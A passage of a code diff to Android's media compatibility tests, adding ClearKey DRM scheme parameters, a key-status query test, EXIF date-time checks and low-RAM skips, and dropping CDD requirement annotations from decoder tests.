-import android.test.ActivityInstrumentationTestCase2;
+import android.support.annotation.NonNull;
import android.util.Base64;
import android.util.Log;
import android.view.SurfaceHolder;
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.nio.CharBuffer;
-import java.nio.charset.Charset;
-import java.util.ArrayList;
-import java.util.concurrent.TimeUnit;
-import java.util.List;
-import java.util.Map;
-import java.util.UUID;
-import java.util.Vector;
+import com.android.compatibility.common.util.ApiLevelUtil;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
+import java.nio.charset.Charset;
+import java.util.HashMap;
+import java.util.Set;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.concurrent.TimeUnit;
+
/**
* Tests of MediaPlayer streaming capabilities.
*/
@@ -87,15 +80,17 @@
private static final Uri MPEG2TS_CLEAR_URL = Uri.parse(
"android.resource://android.media.cts/" + R.raw.segment000001);
- private static final UUID CLEARKEY_SCHEME_UUID =
+ private static final UUID COMMON_PSSH_SCHEME_UUID =
new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+ private static final UUID CLEARKEY_SCHEME_UUID =
+ new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
private byte[] mDrmInitData;
private byte[] mSessionId;
private Looper mLooper;
private MediaCodecClearKeyPlayer mMediaCodecPlayer;
- private MediaDrm mDrm;
- private Object mLock = new Object();
+ private MediaDrm mDrm = null;
+ private final Object mLock = new Object();
private SurfaceHolder mSurfaceHolder;
@Override
@@ -111,6 +106,10 @@
super.tearDown();
}
+ private boolean isWatchDevice() {
+ return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
private boolean deviceHasMediaDrm() {
// ClearKey is introduced after KitKat.
if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
@@ -220,10 +219,18 @@
}
}
- private MediaDrm startDrm(final byte[][] clearKeys, final String initDataType) {
+ private @NonNull MediaDrm startDrm(final byte[][] clearKeys, final String initDataType, final UUID drmSchemeUuid) {
+ if (!MediaDrm.isCryptoSchemeSupported(drmSchemeUuid)) {
+ throw new Error("Crypto scheme is not supported.");
+ }
+
new Thread() {
@Override
public void run() {
+ if (mDrm != null) {
+ Log.e(TAG, "Failed to startDrm: already started");
+ return;
+ }
// Set up a looper to handle events
Looper.prepare();
@@ -232,7 +239,7 @@
mLooper = Looper.myLooper();
try {
- mDrm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+ mDrm = new MediaDrm(drmSchemeUuid);
} catch (MediaDrmException e) {
Log.e(TAG, "Failed to create MediaDrm: " + e.getMessage());
return;
@@ -275,9 +282,11 @@
Log.e(TAG, "invalid drm specified in stopDrm");
}
mLooper.quit();
+ mDrm.release();
+ mDrm = null;
}
- private byte[] openSession(MediaDrm drm) {
+ private @NonNull byte[] openSession(MediaDrm drm) {
byte[] mSessionId = null;
boolean mRetryOpen;
do {
@@ -295,7 +304,7 @@
drm.closeSession(sessionId);
}
- public boolean isResolutionSupported(String mime, String[] features,
+ private boolean isResolutionSupported(String mime, String[] features,
int videoWidth, int videoHeight) {
if (ApiLevelUtil.isBefore(android.os.Build.VERSION_CODES.JELLY_BEAN)) {
if (videoHeight <= 144) {
@@ -331,23 +340,21 @@
* Tests clear key system playback.
*/
private void testClearKeyPlayback(
+ UUID drmSchemeUuid,
String videoMime, String[] videoFeatures,
String initDataType, byte[][] clearKeys,
Uri audioUrl, boolean audioEncrypted,
Uri videoUrl, boolean videoEncrypted,
int videoWidth, int videoHeight, boolean scrambled) throws Exception {
+
+ if (isWatchDevice()) {
+ return;
+ }
+
MediaDrm drm = null;
mSessionId = null;
if (!scrambled) {
- drm = startDrm(clearKeys, initDataType);
- if (null == drm) {
- throw new Error("Failed to create drm.");
- }
-
- if (!drm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
- stopDrm(drm);
- throw new Error("Crypto scheme is not supported.");
- }
+ drm = startDrm(clearKeys, initDataType, drmSchemeUuid);
mSessionId = openSession(drm);
}
@@ -411,8 +418,83 @@
}
}
+ private boolean queryKeyStatus(@NonNull final MediaDrm drm, @NonNull final byte[] sessionId) {
+ final HashMap<String, String> keyStatus = drm.queryKeyStatus(sessionId);
+ if (keyStatus.isEmpty()) {
+ Log.e(TAG, "queryKeyStatus: empty key status");
+ return false;
+ }
+
+ final Set<String> keySet = keyStatus.keySet();
+ final int numKeys = keySet.size();
+ final String[] keys = keySet.toArray(new String[numKeys]);
+ for (int i = 0; i < numKeys; ++i) {
+ final String key = keys[i];
+ Log.i(TAG, "queryKeyStatus: key=" + key + ", value=" + keyStatus.get(key));
+ }
+
+ return true;
+ }
+
+ public void testQueryKeyStatus() throws Exception {
+ if (isWatchDevice()) {
+ // skip this test on watch because it calls
+ // addTrack that requires codec
+ return;
+ }
+
+ MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
+ CLEARKEY_SCHEME_UUID);
+
+ mSessionId = openSession(drm);
+
+ // Test default key status, should not be defined
+ final HashMap<String, String> keyStatus = drm.queryKeyStatus(mSessionId);
+ if (!keyStatus.isEmpty()) {
+ closeSession(drm, mSessionId);
+ stopDrm(drm);
+ throw new Error("query default key status failed");
+ }
+
+ // Test valid key status
+ mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
+ getActivity().getSurfaceHolder(),
+ mSessionId, false,
+ mContext.getResources());
+ mMediaCodecPlayer.setAudioDataSource(CENC_AUDIO_URL, null, false);
+ mMediaCodecPlayer.setVideoDataSource(CENC_VIDEO_URL, null, true);
+ mMediaCodecPlayer.start();
+ mMediaCodecPlayer.prepare();
+
+ mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+ getKeys(drm, "cenc", mSessionId, mDrmInitData, new byte[][] { CLEAR_KEY_CENC });
+ boolean success = true;
+ if (!queryKeyStatus(drm, mSessionId)) {
+ success = false;
+ }
+
+ mMediaCodecPlayer.reset();
+ closeSession(drm, mSessionId);
+ stopDrm(drm);
+ if (!success) {
+ throw new Error("query key status failed");
+ }
+ }
+
public void testClearKeyPlaybackCenc() throws Exception {
testClearKeyPlayback(
+ COMMON_PSSH_SCHEME_UUID,
+ // using secure codec even though it is clear key DRM
+ MIME_VIDEO_AVC, new String[] { CodecCapabilities.FEATURE_SecurePlayback },
+ "cenc", new byte[][] { CLEAR_KEY_CENC },
+ CENC_AUDIO_URL, false,
+ CENC_VIDEO_URL, true,
+ VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false);
+ }
+
+ public void testClearKeyPlaybackCenc2() throws Exception {
+ testClearKeyPlayback(
+ CLEARKEY_SCHEME_UUID,
// using secure codec even though it is clear key DRM
MIME_VIDEO_AVC, new String[] { CodecCapabilities.FEATURE_SecurePlayback },
"cenc", new byte[][] { CLEAR_KEY_CENC },
@@ -423,6 +505,7 @@
public void testClearKeyPlaybackWebm() throws Exception {
testClearKeyPlayback(
+ CLEARKEY_SCHEME_UUID,
MIME_VIDEO_VP8, new String[0],
"webm", new byte[][] { CLEAR_KEY_WEBM },
WEBM_URL, true,
@@ -431,7 +514,13 @@
}
public void testClearKeyPlaybackMpeg2ts() throws Exception {
+ if (isLowRam() && !isTV()) {
+ Log.d(TAG, "Skipping testClearKeyPlaybackMpeg2ts.");
+ return;
+ }
+
testClearKeyPlayback(
+ CLEARKEY_SCHEME_UUID,
MIME_VIDEO_AVC, new String[0],
"mpeg2ts", null,
MPEG2TS_SCRAMBLED_URL, false,
@@ -441,10 +530,20 @@
public void testPlaybackMpeg2ts() throws Exception {
testClearKeyPlayback(
+ CLEARKEY_SCHEME_UUID,
MIME_VIDEO_AVC, new String[0],
"mpeg2ts", null,
MPEG2TS_CLEAR_URL, false,
MPEG2TS_CLEAR_URL, false,
VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, false);
}
+
+ private boolean isTV() {
+ return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
+ }
+
+ private boolean isLowRam() {
+ ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ return am.isLowRamDevice();
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
index 0c98259..72eddf1 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
@@ -137,7 +137,8 @@
@TargetApi(16)
static class SimplePlayer {
- public static final long MIN_MS_PER_FRAME = TimeUnit.SECONDS.toMillis(1) / 10; // 10 FPS
+ public static final long MIN_MS_PER_FRAME = TimeUnit.SECONDS.toMillis(1) / 5; // 5 FPS
+ public static final long STARTUP_ALLOW_MS = TimeUnit.SECONDS.toMillis(1) ;
public static final int END_OF_STREAM = -1;
public static final int DEQUEUE_SUCCESS = 1;
public static final int DEQUEUE_FAIL = 0;
@@ -184,7 +185,7 @@
if (prepareVideoDecode(videoFormat)) {
if (startDecoder()) {
final long timeout =
- Math.max(MIN_MS_PER_FRAME, msPerFrameCap) * numOfTotalFrames * 2;
+ Math.max(MIN_MS_PER_FRAME, msPerFrameCap) * numOfTotalFrames + STARTUP_ALLOW_MS;
playerResult = decodeFramesAndPlay(numOfTotalFrames, timeout, msPerFrameCap);
} else {
playerResult = PlayerResult.failToStart();
@@ -286,6 +287,9 @@
Log.e(TAG, "IllegalStateException in dequeueDecoderOutputBuffer", exception);
}
}
+ // NB: totalTime measures from "first output" instead of
+ // "first INPUT", so does not include first frame latency
+ // and therefore does not tell us if the timeout expired
final long totalTime = SystemClock.elapsedRealtime() - firstOutputTimeMs;
return new PlayerResult(true, true, numOfTotalFrames == numOfDecodedFrames, totalTime);
}
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index c070f22..8185874 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -36,7 +36,6 @@
import android.view.Surface;
import android.net.Uri;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
import com.android.compatibility.common.util.MediaUtils;
@@ -134,13 +133,10 @@
// errors with the standard decoders, plus 10%.
// This should allow for some variation in decoders, while still detecting
// phase and delay errors, channel swap, etc.
- @CddTest(requirement="5.1.2/C-1-6")
public void testDecodeMp3Lame() throws Exception {
decode(R.raw.sinesweepmp3lame, 804.f);
testTimeStampOrdering(R.raw.sinesweepmp3lame);
}
-
- @CddTest(requirement="5.1.2/C-1-6")
public void testDecodeMp3Smpb() throws Exception {
decode(R.raw.sinesweepmp3smpb, 413.f);
testTimeStampOrdering(R.raw.sinesweepmp3smpb);
@@ -153,20 +149,15 @@
decode(R.raw.sinesweepogg, 168.f);
testTimeStampOrdering(R.raw.sinesweepogg);
}
-
- @CddTest(requirement="5.1.2/C-1-9")
public void testDecodeWav() throws Exception {
decode(R.raw.sinesweepwav, 0.0f);
testTimeStampOrdering(R.raw.sinesweepwav);
}
-
- @CddTest(requirement="5.1.2/C-1-5")
public void testDecodeFlac() throws Exception {
decode(R.raw.sinesweepflac, 0.0f);
testTimeStampOrdering(R.raw.sinesweepflac);
}
- @CddTest(requirement="5.1.2/C-1-6")
public void testDecodeMonoMp3() throws Exception {
monoTest(R.raw.monotestmp3, 44100);
testTimeStampOrdering(R.raw.monotestmp3);
@@ -195,12 +186,10 @@
testTimeStampOrdering(R.raw.sinesweeptsaac);
}
- @CddTest(requirement="5.1.2/C-1-8")
public void testDecodeVorbis() throws Exception {
testTimeStampOrdering(R.raw.sinesweepvorbis);
}
- @CddTest(requirement="5.1.2/C-1-10")
public void testDecodeOpus() throws Exception {
testTimeStampOrdering(R.raw.sinesweepopus);
}
@@ -782,7 +771,6 @@
/**
* Verify correct decoding of MPEG-4 AAC-LC 5.0 and 5.1 channel streams
*/
- @CddTest(requirement="5.1.2/C-2-1")
public void testDecodeAacLcMcM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
short[] decSamples = decodeToMemory(decParams, R.raw.noise_6ch_48khz_aot2_mp4,
@@ -852,7 +840,6 @@
/**
* Verify correct decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
*/
- @CddTest(requirement="5.1.2/C-2-1")
public void testDecodeHeAacMcM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
short[] decSamples = decodeToMemory(decParams, R.raw.noise_5ch_48khz_aot5_dr_sbr_sig1_mp4,
@@ -1388,8 +1375,7 @@
}
// start decoding
- final long kTimeOutUs = 5000; // 5ms timeout
-
+ final long kTimeOutUs = 5000;
MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
boolean sawInputEOS = false;
boolean sawOutputEOS = false;
@@ -1631,23 +1617,19 @@
assertEquals("different number of frames when using Surface", frames1, frames2);
}
- @CddTest(requirement="5.3.4/C-1-1")
public void testCodecBasicH264() throws Exception {
testDecode(R.raw.video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz, 240);
}
- @CddTest(requirement="5.3.5/C-1-1")
public void testCodecBasicHEVC() throws Exception {
testDecode(
R.raw.bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz, 300);
}
- @CddTest(requirement="5.3.2/C-1-1")
public void testCodecBasicH263() throws Exception {
testDecode(R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz, 122);
}
- @CddTest(requirement="5.3.3/C-1-1")
public void testCodecBasicMpeg4() throws Exception {
testDecode(R.raw.video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz, 249);
}
@@ -1660,7 +1642,6 @@
testDecode(R.raw.video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz, 240);
}
- @CddTest(requirement="5.3.4/C-1-2")
public void testH264Decode320x240() throws Exception {
testDecode(R.raw.bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz, 300);
}
@@ -1689,7 +1670,6 @@
testDecode(R.raw.bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz, 300);
}
- @CddTest(requirement="5.3.4/T-1-2")
public void testH264Decode60fps1280x720Tv() throws Exception {
if (checkTv()) {
assertTrue(MediaUtils.canDecodeVideo(
@@ -1709,7 +1689,6 @@
}
}
- @CddTest(requirement="5.3.4/C-2-1")
public void testH264Decode60fps1280x720() throws Exception {
testDecode(
R.raw.bbb_s3_1280x720_mp4_h264_mp32_8mbps_60fps_aac_he_v2_6ch_144kbps_44100hz, 600);
@@ -1740,7 +1719,6 @@
150);
}
- @CddTest(requirement="5.3.4/C-2-2,T-1-1")
public void testH264Decode60fps1920x1080Tv() throws Exception {
if (checkTv()) {
assertTrue(MediaUtils.canDecodeVideo(
@@ -1766,7 +1744,6 @@
300);
}
- @CddTest(requirement="5.3.6/C-1-1")
public void testVP8Decode320x180() throws Exception {
testDecode(R.raw.bbb_s1_320x180_webm_vp8_800kbps_30fps_opus_5ch_320kbps_48000hz, 300);
}
@@ -1781,12 +1758,10 @@
}
}
- @CddTest(requirement="5.3.6/C-2-1")
public void testVP8Decode30fps1280x720() throws Exception {
testDecode(R.raw.bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz, 300);
}
- @CddTest(requirement="5.3.6/C-2-1,T-2-1")
public void testVP8Decode60fps1280x720Tv() throws Exception {
if (checkTv()) {
assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1280, 720, 60));
@@ -1803,13 +1778,11 @@
}
}
- @CddTest(requirement="5.3.6/C-2-2")
public void testVP8Decode30fps1920x1080() throws Exception {
testDecode(
R.raw.bbb_s4_1920x1080_wide_webm_vp8_20mbps_30fps_vorbis_6ch_384kbps_44100hz, 150);
}
- @CddTest(requirement="5.3.6/C-2-2,T-1-1")
public void testVP8Decode60fps1920x1080Tv() throws Exception {
if (checkTv()) {
assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1920, 1080, 60));
@@ -1820,12 +1793,10 @@
testDecode(R.raw.bbb_s2_1920x1080_webm_vp8_20mbps_60fps_vorbis_6ch_384kbps_48000hz, 300);
}
- @CddTest(requirement="5.3.7/C-1-1")
public void testVP9Decode320x180() throws Exception {
testDecode(R.raw.bbb_s1_320x180_webm_vp9_0p11_600kbps_30fps_vorbis_mono_64kbps_48000hz, 300);
}
- @CddTest(requirement="5.3.7/C-1-1")
public void testVP9Decode640x360() throws Exception {
testDecode(
R.raw.bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz,
@@ -1838,13 +1809,11 @@
}
}
- @CddTest(requirement="5.3.7/C-2-2")
public void testVP9Decode30fps1280x720() throws Exception {
testDecode(
R.raw.bbb_s4_1280x720_webm_vp9_0p31_4mbps_30fps_opus_stereo_128kbps_48000hz, 300);
}
- @CddTest(requirement="5.3.7/T-2-1")
public void testVP9Decode60fps1920x1080() throws Exception {
testDecode(
R.raw.bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz, 300);
@@ -1855,7 +1824,6 @@
R.raw.bbb_s4_3840x2160_webm_vp9_0p5_20mbps_30fps_vorbis_6ch_384kbps_24000hz, 150);
}
- @CddTest(requirement="5.3.7/C-3-1")
public void testVP9Decode60fps3840x2160() throws Exception {
testDecode(
R.raw.bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz, 300);
@@ -1879,13 +1847,11 @@
}
}
- @CddTest(requirement="5.3.5/C-1-2")
public void testHEVCDecode30fps1280x720() throws Exception {
testDecode(
R.raw.bbb_s4_1280x720_mp4_hevc_mp31_4mbps_30fps_aac_he_stereo_80kbps_32000hz, 300);
}
- @CddTest(requirement="5.3.5/C-1-2,T-1-1")
public void testHEVCDecode30fps1920x1080Tv() throws Exception {
if (checkTv()) {
assertTrue(MediaUtils.canDecodeVideo(
@@ -1894,7 +1860,6 @@
}
}
- @CddTest(requirement="5.3.5/C-1-2")
public void testHEVCDecode60fps1920x1080() throws Exception {
testDecode(
R.raw.bbb_s2_1920x1080_mp4_hevc_mp41_10mbps_60fps_aac_lc_6ch_384kbps_22050hz, 300);
@@ -1905,7 +1870,6 @@
R.raw.bbb_s4_3840x2160_mp4_hevc_mp5_20mbps_30fps_aac_lc_6ch_384kbps_24000hz, 150);
}
- @CddTest(requirement="5.3.5/C-2-1")
public void testHEVCDecode60fps3840x2160() throws Exception {
testDecode(
R.raw.bbb_s2_3840x2160_mp4_hevc_mp51_20mbps_60fps_aac_lc_6ch_384kbps_32000hz, 300);
@@ -2930,7 +2894,6 @@
return false;
}
- @CddTest(requirement="7.9.2/C-1-11")
public void testVrHighPerformanceH264() throws Exception {
if (!supportsVrHighPerformance()) {
MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
@@ -2941,7 +2904,6 @@
assertTrue("Did not find a VR ready H.264 decoder", h264IsReady);
}
- @CddTest(requirement="7.9.2/C-1-12")
public void testVrHighPerformanceHEVC() throws Exception {
if (!supportsVrHighPerformance()) {
MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
@@ -2958,7 +2920,6 @@
}
}
- @CddTest(requirement="7.9.2/C-1-12")
public void testVrHighPerformanceVP9() throws Exception {
if (!supportsVrHighPerformance()) {
MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index 41790a1..997967c 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -30,7 +30,6 @@
import android.support.test.InstrumentationRegistry;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.CtsAndroidTestCase;
import static org.junit.Assert.*;
@@ -73,7 +72,6 @@
* Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
* Fully apply light compression DRC (default settings).
*/
- @CddTest(requirement="5.1.2/C-2-2")
@Test
public void testDecodeAacDrcFullM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
@@ -87,7 +85,6 @@
* Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
* Apply only half of the light compression DRC and normalize to -20dBFS output level.
*/
- @CddTest(requirement="5.1.2/C-2-2")
@Test
public void testDecodeAacDrcHalfM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
@@ -103,7 +100,6 @@
* Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
* Disable light compression DRC to test if MediaFormat keys reach the decoder.
*/
- @CddTest(requirement="5.1.2/C-2-2")
@Test
public void testDecodeAacDrcOffM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
@@ -119,7 +115,6 @@
* Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
* Apply heavy compression gains and normalize to -16dBFS output level.
*/
- @CddTest(requirement="5.1.2/C-2-2")
@Test
public void testDecodeAacDrcHeavyM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
@@ -135,7 +130,6 @@
* Test signal limiting (without clipping) of MPEG-4 AAC decoder with the help of DRC metadata.
* Uses a two channel 248 Hz sine tone at 48 kHz sampling rate for input.
*/
- @CddTest(requirement="5.1.2/C-2-2")
@Test
public void testDecodeAacDrcClipM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
diff --git a/tests/tests/media/src/android/media/cts/EqualizerTest.java b/tests/tests/media/src/android/media/cts/EqualizerTest.java
index d13f78d..a8bd98a 100644
--- a/tests/tests/media/src/android/media/cts/EqualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/EqualizerTest.java
@@ -24,9 +24,6 @@
import android.test.AndroidTestCase;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-
-@CddTest(requirement="5.5.2/C-1-1")
public class EqualizerTest extends PostProcTestBase {
private String TAG = "EqualizerTest";
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index 9b5f001..f0b303b 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -21,6 +21,7 @@
import android.graphics.BitmapFactory;
import android.media.ExifInterface;
import android.os.Environment;
+import android.os.FileUtils;
import android.test.AndroidTestCase;
import android.util.Log;
import android.system.ErrnoException;
@@ -70,7 +71,7 @@
ExifInterface.TAG_MAKE,
ExifInterface.TAG_MODEL,
ExifInterface.TAG_F_NUMBER,
- ExifInterface.TAG_DATETIME,
+ ExifInterface.TAG_DATETIME_ORIGINAL,
ExifInterface.TAG_EXPOSURE_TIME,
ExifInterface.TAG_FLASH,
ExifInterface.TAG_FOCAL_LENGTH,
@@ -107,7 +108,7 @@
public final String make;
public final String model;
public final float aperture;
- public final String datetime;
+ public final String dateTimeOriginal;
public final float exposureTime;
public final float flash;
public final String focalLength;
@@ -153,7 +154,7 @@
make = getString(typedArray, index++);
model = getString(typedArray, index++);
aperture = typedArray.getFloat(index++, 0f);
- datetime = getString(typedArray, index++);
+ dateTimeOriginal = getString(typedArray, index++);
exposureTime = typedArray.getFloat(index++, 0f);
flash = typedArray.getFloat(index++, 0f);
focalLength = getString(typedArray, index++);
@@ -273,7 +274,8 @@
assertStringTag(exifInterface, ExifInterface.TAG_MAKE, expectedValue.make);
assertStringTag(exifInterface, ExifInterface.TAG_MODEL, expectedValue.model);
assertFloatTag(exifInterface, ExifInterface.TAG_F_NUMBER, expectedValue.aperture);
- assertStringTag(exifInterface, ExifInterface.TAG_DATETIME, expectedValue.datetime);
+ assertStringTag(exifInterface, ExifInterface.TAG_DATETIME_ORIGINAL,
+ expectedValue.dateTimeOriginal);
assertFloatTag(exifInterface, ExifInterface.TAG_EXPOSURE_TIME, expectedValue.exposureTime);
assertFloatTag(exifInterface, ExifInterface.TAG_FLASH, expectedValue.flash);
assertStringTag(exifInterface, ExifInterface.TAG_FOCAL_LENGTH, expectedValue.focalLength);
@@ -478,4 +480,34 @@
public void testReadExifDataFromSamsungNX3000Srw() throws Throwable {
testExifInterfaceForRaw(SAMSUNG_NX3000_SRW, R.array.samsung_nx3000_srw);
}
+
+ public void testSetDateTime() throws IOException {
+ final String dateTimeValue = "2017:02:02 22:22:22";
+ final String dateTimeOriginalValue = "2017:01:01 11:11:11";
+
+ File srcFile = new File(Environment.getExternalStorageDirectory(),
+ EXTERNAL_BASE_DIRECTORY + EXIF_BYTE_ORDER_II_JPEG);
+ File imageFile = new File(Environment.getExternalStorageDirectory(),
+ EXTERNAL_BASE_DIRECTORY + EXIF_BYTE_ORDER_II_JPEG + "_copied");
+
+ FileUtils.copyFileOrThrow(srcFile, imageFile);
+ ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+ exif.setAttribute(ExifInterface.TAG_DATETIME, dateTimeValue);
+ exif.setAttribute(ExifInterface.TAG_DATETIME_ORIGINAL, dateTimeOriginalValue);
+ exif.saveAttributes();
+
+ // Check that the DATETIME value is not overwritten by DATETIME_ORIGINAL's value.
+ exif = new ExifInterface(imageFile.getAbsolutePath());
+ assertEquals(dateTimeValue, exif.getAttribute(ExifInterface.TAG_DATETIME));
+ assertEquals(dateTimeOriginalValue, exif.getAttribute(ExifInterface.TAG_DATETIME_ORIGINAL));
+
+ // Now remove the DATETIME value.
+ exif.setAttribute(ExifInterface.TAG_DATETIME, null);
+ exif.saveAttributes();
+
+ // When the DATETIME has no value, then it should be set to DATETIME_ORIGINAL's value.
+ exif = new ExifInterface(imageFile.getAbsolutePath());
+ assertEquals(dateTimeOriginalValue, exif.getAttribute(ExifInterface.TAG_DATETIME));
+ imageFile.delete();
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java b/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java
index 6883bf5..25d3b4c 100644
--- a/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java
+++ b/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java
@@ -31,9 +31,6 @@
import android.test.AndroidTestCase;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-
-@CddTest(requirement="5.5.2/C-1-1")
public class LoudnessEnhancerTest extends PostProcTestBase {
private String TAG = "LoudnessEnhancerTest";
@@ -258,4 +255,4 @@
mLE = null;
}
}
-}
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index a3cdefc..f3aaaab 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -16,6 +16,9 @@
package android.media.cts;
+import android.app.ActivityManager;
+import android.content.pm.PackageManager;
+import android.content.Context;
import android.media.MediaCas;
import android.media.MediaCas.PluginDescriptor;
import android.media.MediaCas.Session;
@@ -142,6 +145,11 @@
"65 79 69 6e 74 5f 6d 69 6e 3d 32 35 20 73 63 65" +
"6e 65 " ;
+ @Override
+ public void setContext(Context context) {
+ super.setContext(context);
+ }
+
/**
* Test that all enumerated CA systems can be instantiated.
*
@@ -151,6 +159,11 @@
* be instantiated.
*/
public void testEnumeratePlugins() throws Exception {
+ if (isLowRam() && !isTV()) {
+ Log.d(TAG, "Skipping testEnumeratePlugins.");
+ return;
+ }
+
PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
for (int i = 0; i < descriptors.length; i++) {
Log.d(TAG, "desciptor[" + i + "]: id=" + descriptors[i].getSystemId()
@@ -177,7 +190,8 @@
@Override
public void onEvent(MediaCas MediaCas, int event, int arg, byte[] data) {
Log.d(TAG, "Received MediaCas event: "
- + "event=" + event + ", arg=" + arg + ", data=" + data);
+ + "event=" + event + ", arg=" + arg
+ + ", data=" + Arrays.toString(data));
}
}, null);
} finally {
@@ -192,6 +206,11 @@
}
public void testInvalidSystemIdFails() throws Exception {
+ if (isLowRam() && !isTV()) {
+ Log.d(TAG, "Skipping testInvalidSystemIdFails.");
+ return;
+ }
+
assertFalse("Invalid id " + sInvalidSystemId + " should not be supported",
MediaCas.isSystemIdSupported(sInvalidSystemId));
@@ -223,6 +242,12 @@
}
public void testClearKeyPluginInstalled() throws Exception {
+ if (isLowRam() && !isTV()) {
+ Log.d(TAG, "Skipping testClearKeyPluginInstalled.");
+ return;
+ }
+
+
PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
for (int i = 0; i < descriptors.length; i++) {
if (descriptors[i].getSystemId() == sClearKeySystemId) {
@@ -236,6 +261,11 @@
* Test that valid call sequences succeed.
*/
public void testClearKeyApis() throws Exception {
+ if (isLowRam() && !isTV()) {
+ Log.d(TAG, "Skipping testClearKeyApis.");
+ return;
+ }
+
MediaCas mediaCas = null;
MediaDescrambler descrambler = null;
@@ -315,6 +345,12 @@
* Test that all sessions are closed after a MediaCas object is released.
*/
public void testClearKeySessionClosedAfterRelease() throws Exception {
+ if (isLowRam() && !isTV()) {
+ Log.d(TAG, "Skipping testClearKeySessionClosedAfterRelease.");
+ return;
+ }
+
+
MediaCas mediaCas = null;
MediaDescrambler descrambler = null;
@@ -364,6 +400,11 @@
* Test that invalid call sequences fail with expected exceptions.
*/
public void testClearKeyExceptions() throws Exception {
